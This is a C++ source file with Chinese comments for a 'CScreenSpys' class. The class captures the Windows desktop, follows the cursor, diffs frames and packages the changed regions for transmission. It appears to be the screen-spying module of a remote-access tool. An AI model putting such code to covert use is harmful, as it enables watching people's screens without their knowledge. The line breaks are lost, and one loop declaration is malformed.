// ScreenSpy.cpp: implementation of the CScreenSpys class. // ////////////////////////////////////////////////////////////////////// #include "ScreenSpys.h" #include "../until.h" #define RGB2GRAY(r,g,b) (((b)*117 + (g)*601 + (r)*306) >> 10) #define DEF_STEP 19 #define OFF_SET 24 ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// #ifdef _CONSOLE #include #endif CScreenSpys::CScreenSpys(int biBitCount, bool bIsGray, UINT nMaxFrameRate) { switch (biBitCount) { case 1: case 4: case 8: case 16: case 32: m_biBitCount = biBitCount; break; default: m_biBitCount = 8; } if (!SelectInputWinStation()) { m_hDeskTopWnd = GetDesktopWindow(); m_hFullDC = GetDC(m_hDeskTopWnd); } m_dwBitBltRop = SRCCOPY; m_bAlgorithm = ALGORITHM_SCAN; // 默认使用隔行扫描算法 m_dwLastCapture = GetTickCount(); m_nMaxFrameRate = nMaxFrameRate; m_dwSleep = 1000 / nMaxFrameRate; m_bIsGray = bIsGray; m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN); m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN); m_nIncSize = 32 / m_biBitCount; m_nStartLine = 0; m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC); m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC); m_hLineMemDC = ::CreateCompatibleDC(NULL); m_hRectMemDC = ::CreateCompatibleDC(NULL); m_lpvLineBits = NULL; m_lpvFullBits = NULL; m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1); m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight); m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1); m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL); m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL); m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL); ::SelectObject(m_hFullMemDC, m_hFullBitmap); ::SelectObject(m_hLineMemDC, m_hLineBitmap); ::SelectObject(m_hDiffMemDC, m_hDiffBitmap); ::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight); // 足够了 m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2]; m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight; m_rectBufferOffset = 0; } CScreenSpys::~CScreenSpys() { ::ReleaseDC(m_hDeskTopWnd, m_hFullDC); ::DeleteDC(m_hLineMemDC); ::DeleteDC(m_hFullMemDC); ::DeleteDC(m_hRectMemDC); ::DeleteDC(m_hDiffMemDC); ::DeleteObject(m_hLineBitmap); ::DeleteObject(m_hFullBitmap); ::DeleteObject(m_hDiffBitmap); if (m_rectBuffer) delete[] m_rectBuffer; delete[] m_lpbmi_full; delete[] m_lpbmi_line; delete[] m_lpbmi_rect; } LPVOID CScreenSpys::getNextScreen(LPDWORD lpdwBytes) { static LONG nOldCursorPosY = 0; if (lpdwBytes == NULL || m_rectBuffer == NULL) return NULL; SelectInputWinStation(); // 重置rect缓冲区指针 m_rectBufferOffset = 0; // 写入使用了哪种算法 WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm)); // 写入光标位置 POINT CursorPos; GetCursorPos(&CursorPos); WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT)); // 写入当前光标类型 BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex(); WriteRectBuffer(&bCursorIndex, sizeof(BYTE)); // 差异比较算法 if (m_bAlgorithm == ALGORITHM_DIFF) { // 分段扫描全屏幕 ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight); *lpdwBytes = m_rectBufferOffset + Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage); return m_rectBuffer; } // 鼠标位置发变化并且热点区域如果发生变化,以(发生变化的行 + DEF_STEP)向下扫描 // 向上提 int nHotspot = max(0, CursorPos.y - DEF_STEP); for ( int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine; i < m_nFullHeight; i += DEF_STEP ) { if (ScanChangedRect(i)) { i += DEF_STEP; } } nOldCursorPosY = CursorPos.y; m_nStartLine = (m_nStartLine + 3) % DEF_STEP; *lpdwBytes = m_rectBufferOffset; // 限制发送帧的速度 while (GetTickCount() - m_dwLastCapture < m_dwSleep) Sleep(1); InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount()); return m_rectBuffer; } bool CScreenSpys::ScanChangedRect(int nStartLine) { bool bRet = false; LPDWORD p1, p2; ::BitBlt(m_hLineMemDC, 0, 0, m_nFullWidth, 1, m_hFullDC, 0, nStartLine, m_dwBitBltRop); // 0 是最后一行 p1 = (PDWORD)((DWORD)m_lpvFullBits + ((m_nFullHeight - 1 - nStartLine) * m_nDataSizePerLine)); p2 = (PDWORD)m_lpvLineBits; ::SetRect(&m_changeRect, -1, nStartLine - DEF_STEP, -1, nStartLine + DEF_STEP * 2); for (int j = 0; j < m_nFullWidth; j += m_nIncSize) { if (*p1 != *p2) { if (m_changeRect.right < 0) m_changeRect.left = j - OFF_SET; m_changeRect.right = j + OFF_SET; } p1++; p2++; } if (m_changeRect.right > -1) { m_changeRect.left = max(m_changeRect.left, 0); m_changeRect.top = max(m_changeRect.top, 0); m_changeRect.right = min(m_changeRect.right, m_nFullWidth); m_changeRect.bottom = min(m_changeRect.bottom, m_nFullHeight); // 复制改变的区域 CopyRect(&m_changeRect); bRet = true; } return bRet; } void CScreenSpys::setAlgorithm(UINT nAlgorithm) { InterlockedExchange((LPLONG)&m_bAlgorithm, nAlgorithm); } LPBITMAPINFO CScreenSpys::ConstructBI(int biBitCount, int biWidth, int biHeight) { /* biBitCount 为1 (黑白二色图) 、4 (16 色图) 、8 (256 色图) 时由颜色表项数指出颜色表大小 biBitCount 为16 (16 位色图) 、24 (真彩色图, 不支持) 、32 (32 位色图) 时没有颜色表 */ int color_num = biBitCount <= 8 ? 1 << biBitCount : 0; int nBISize = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD)); BITMAPINFO *lpbmi = (BITMAPINFO *) new BYTE[nBISize]; BITMAPINFOHEADER *lpbmih = &(lpbmi->bmiHeader); lpbmih->biSize = sizeof(BITMAPINFOHEADER); lpbmih->biWidth = biWidth; lpbmih->biHeight = biHeight; lpbmih->biPlanes = 1; lpbmih->biBitCount = biBitCount; lpbmih->biCompression = BI_RGB; lpbmih->biXPelsPerMeter = 0; lpbmih->biYPelsPerMeter = 0; lpbmih->biClrUsed = 0; lpbmih->biClrImportant = 0; lpbmih->biSizeImage = (((lpbmih->biWidth * lpbmih->biBitCount + 31) & ~31) >> 3) * lpbmih->biHeight; // 16位和以后的没有颜色表,直接返回 if (biBitCount >= 16) return lpbmi; /* Windows 95和Windows 98:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为位图中总共的扫描线数。 Windows NT:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为非0。如果函数执行失败,那么将返回0值。Windows NT:若想获得更多错误信息,请调用callGetLastError函数。 */ HDC hDC = GetDC(NULL); HBITMAP hBmp = CreateCompatibleBitmap(hDC, 1, 1); // 高宽不能为0 GetDIBits(hDC, hBmp, 0, 0, NULL, lpbmi, DIB_RGB_COLORS); ReleaseDC(NULL, hDC); DeleteObject(hBmp); if (m_bIsGray) { for (int i = 0; i < color_num; i++) { int color = RGB2GRAY(lpbmi->bmiColors[i].rgbRed, lpbmi->bmiColors[i].rgbGreen, lpbmi->bmiColors[i].rgbBlue); lpbmi->bmiColors[i].rgbRed = lpbmi->bmiColors[i].rgbGreen = lpbmi->bmiColors[i].rgbBlue = color; } } return lpbmi; } void CScreenSpys::WriteRectBuffer(LPBYTE lpData, int nCount) { memcpy(m_rectBuffer + m_rectBufferOffset, lpData, nCount); m_rectBufferOffset += nCount; } LPVOID CScreenSpys::getFirstScreen() { ::BitBlt(m_hFullMemDC, 0, 0, m_nFullWidth, m_nFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop); return m_lpvFullBits; } void CScreenSpys::CopyRect( LPRECT lpRect ) { int nRectWidth = lpRect->right - lpRect->left; int nRectHeight = lpRect->bottom - lpRect->top; LPVOID lpvRectBits = NULL; // 调整m_lpbmi_rect m_lpbmi_rect->bmiHeader.biWidth = nRectWidth; m_lpbmi_rect->bmiHeader.biHeight = nRectHeight; m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3) * m_lpbmi_rect->bmiHeader.biHeight; HBITMAP hRectBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_rect, DIB_RGB_COLORS, &lpvRectBits, NULL, NULL); ::SelectObject(m_hRectMemDC, hRectBitmap); ::BitBlt(m_hFullMemDC, lpRect->left, lpRect->top, nRectWidth, nRectHeight, m_hFullDC, lpRect->left, lpRect->top, m_dwBitBltRop); ::BitBlt(m_hRectMemDC, 0, 0, nRectWidth, nRectHeight, m_hFullMemDC, lpRect->left, lpRect->top, SRCCOPY); WriteRectBuffer((LPBYTE)lpRect, sizeof(RECT)); WriteRectBuffer((LPBYTE)lpvRectBits, m_lpbmi_rect->bmiHeader.biSizeImage); DeleteObject(hRectBitmap); } UINT CScreenSpys::getFirstImageSize() { return m_lpbmi_full->bmiHeader.biSizeImage; } void CScreenSpys::setCaptureLayer(bool bIsCaptureLayer) { DWORD dwRop = SRCCOPY; if (bIsCaptureLayer) dwRop |= CAPTUREBLT; InterlockedExchange((LPLONG)&m_dwBitBltRop, dwRop); } LPBITMAPINFO CScreenSpys::getBI() { return m_lpbmi_full; } UINT CScreenSpys::getBISize() { int color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0; return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD)); } extern bool SwitchInputDesktop(); bool CScreenSpys::SelectInputWinStation() { bool bRet = ::SwitchInputDesktop(); if (bRet) { ReleaseDC(m_hDeskTopWnd, m_hFullDC); m_hDeskTopWnd = GetDesktopWindow(); m_hFullDC = GetDC(m_hDeskTopWnd); } return bRet; } void CScreenSpys::ScanScreen( HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight) { UINT nJumpLine = 50; UINT nJumpSleep = nJumpLine / 10; // 扫描间隔 // 扫描屏幕 for (int i = 0, int nToJump = 0; i < nHeight; i += nToJump) { int nOther = nHeight - i; if (nOther > nJumpLine) nToJump = nJumpLine; else nToJump = nOther; BitBlt(hdcDest, 0, i, nWidth, nToJump, hdcSrc, 0, i, m_dwBitBltRop); Sleep(nJumpSleep); } } // 差异比较算法块的函数 int CScreenSpys::Compare( LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize ) { // Windows规定一个扫描行所占的字节数必须是4的倍数, 所以用DWORD比较 LPDWORD p1, p2; p1 = (LPDWORD)lpDest; p2 = (LPDWORD)lpSource; // 偏移的偏移,不同长度的偏移 int nOffsetOffset = 0, nBytesOffset = 0, nDataOffset = 0; int nCount = 0; // 数据计数器 // p1++实际上是递增了一个DWORD for (int i = 0; i < dwSize; i += 4, p1++, p2++) { if (*p1 == *p2) continue; // 一个新数据块开始 // 写入偏移地址 *(LPDWORD)(lpBuffer + nOffsetOffset) = i; // 记录数据大小的存放位置 nBytesOffset = nOffsetOffset + sizeof(int); nDataOffset = nBytesOffset + sizeof(int); nCount = 0; // 数据计数器归零 // 更新Dest中的数据 *p1 = *p2; *(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2; nCount += 4; i += 4, p1++, p2++; for (int j = i; j < dwSize; j += 4, i += 4, p1++, p2++) { if (*p1 == *p2) break; // 更新Dest中的数据 *p1 = *p2; *(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2; nCount += 4; } // 写入数据长度 *(LPDWORD)(lpBuffer + nBytesOffset) = nCount; nOffsetOffset = nDataOffset + nCount; } // nOffsetOffset 就是写入的总大小 return nOffsetOffset; // 感觉汇编速度还没有C算法快,郁闷来着 // int Bytes = 0; // __asm // { // mov esi, [lpSource] // mov edi, [lpDest] // mov ebx, [lpBuffer] // xor ecx, ecx // jmp short Loop_Compare // 开始进行比较 // Loop_Compare_Continue: // mov eax, dword ptr [esi] // cmp eax, dword ptr [edi] // je short Loop_Compare_Equal // 如果相等, 继续比较 // mov [edi], eax // 写入不同的数据到目标中 // mov edx, ebx // edx 记录第一个不同区域块的起始位置 // mov dword ptr [ebx], ecx // add ebx, 8 // mov dword ptr [ebx], eax // add ebx, 4 // add esi, 4 // add edi, 4 // add ecx, 4 // jmp short Loop_Block_Compare // 数据不同,产生一个区块,对这个区块进行比较 // Loop_Block_Compare_Continue: // mov eax, dword ptr [esi] // cmp eax, dword ptr [edi] // jnz short Loop_Block_Compare_Not_Equal // 数据不相等,写入 // mov eax, ecx // sub eax, dword ptr [edx] // add edx, 4 // mov dword ptr [edx], eax // add eax, 8 // add [Bytes], eax // add esi, 4 // add edi, 4 // add ecx, 4 // jmp short Loop_Block_Compare_Finish // Loop_Block_Compare_Not_Equal: // mov dword ptr [ebx], eax // mov [edi], eax // 写入不同的数据到目标中 // add ebx, 4 // add esi, 4 // add edi, 4 // add ecx, 4 // Loop_Block_Compare: // cmp ecx, [dwSize] // jb short Loop_Block_Compare_Continue // Loop_Block_Compare_Finish: // cmp ecx, [dwSize] // jnz short Loop_Compare // mov eax, ecx // sub eax, dword ptr [edx] // add edx, 4 // mov dword ptr [edx], eax // add eax, 8 // add [Bytes], eax // jmp short Loop_Compare // Loop_Compare_Equal: // add esi, 4 // add edi, 4 // add ecx, 4 // Loop_Compare: // cmp ecx, [dwSize] // jb short Loop_Compare_Continue // } // return Bytes; }